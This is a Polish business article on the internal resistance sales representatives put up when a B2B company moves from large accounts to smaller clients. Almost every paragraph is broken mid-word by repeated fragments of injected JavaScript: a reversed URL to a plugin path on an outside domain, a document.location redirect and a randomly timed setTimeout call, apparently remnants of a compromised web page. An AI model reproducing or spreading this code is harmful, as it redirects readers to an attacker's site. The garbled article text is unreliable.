Podejście “zarządcze” od razu uzmysłowi przedstawicielowi, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie on jest już właścicielem bazy danych i relacji. Zaczynają być przelewane na papier, rozliczane, łatwe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do przejęcie przez innych

Samotny wilk

Do tej pory przedstawiciele byli sami sobie “sterem, żeglarzem, okrętem”. I byli toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego przyzwyczajeni. Teraz muszą się podporządkować, co na pewno nie będzie łatwe.

Uwaga. “call center w contact center”. Z czasem, gdy polowanie coraz bardziej zamienia się w hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowlę, coraz większego znaczenia nabierają kontakty rutynowe i regularne. Klienta coraz mniej trzeba ztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobywać, a coraz bardziej utrzymywać. To zaś mniej wymaga kosz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}townego i trudnego toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zarządzania przedstawiciela mobilnego. Zaś większość kontaktów da się nawiązać przez “contact center”, czyli stronę WWW zintegrowaną z obsługą telefoniczną. To narzędzie idealnie integruje wiedzę, kontakty i CRM (zarządzanie relacjami). Jeśli tak, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po co płacić przedstawicielom?

Ego

Zarządzanie narusza też inny element pracy przedstawiciela. Już nie na poziomie “interesu”, jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to było z własnością bazy danych, ale psychologii. Mianowicie pojawi się problem podporządkowania. Dla kogoś, k toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tak naprawdę pracował sam, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to poważny problem. Ale i poważna umiejętność, nie każdy umie pracować w zespole i wiele osób z tego powodu zrezygnuje.

Opór

W efekcie pojawi się opór. Opór własnych przedstawicieli. W końcu k toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to im tu będzie mówił, co i jak trzeba robić, sami toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wiedzą po tylu latach pracy. Opór może przyjąć różne formy, najczęściej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to opór bierny, w postaci kwestionowania. Nie da się, próbowaliśmy, nie mamy na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czasu, musimy obsłużyć obecnych klientów. Czasem opór przyjmuje formy drastyczne w postaci rezygnacji z pracy, czasem sabo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towania zarządzeń, czasem wręcz oszukiwania firmy.

Podsumowanie

Prędzej czy później na każdą organizację typu B2B przyjdzie moment, gdy z obsługi wybranych i dużych klientów trzeba przejść na mniejszych i mniej zyskownych. Tymczasem taka zmian toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie tylko wyzwanie po stronie pozyskania takich klientów (a tak wydaje się większości przedsiębiorców). Głównym wyzwaniem może okazać się opór wewnątrz organizacji. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z tym oporem trzeba będzie się zmierzyć, może nawet bardziej niż z samym rynkiem.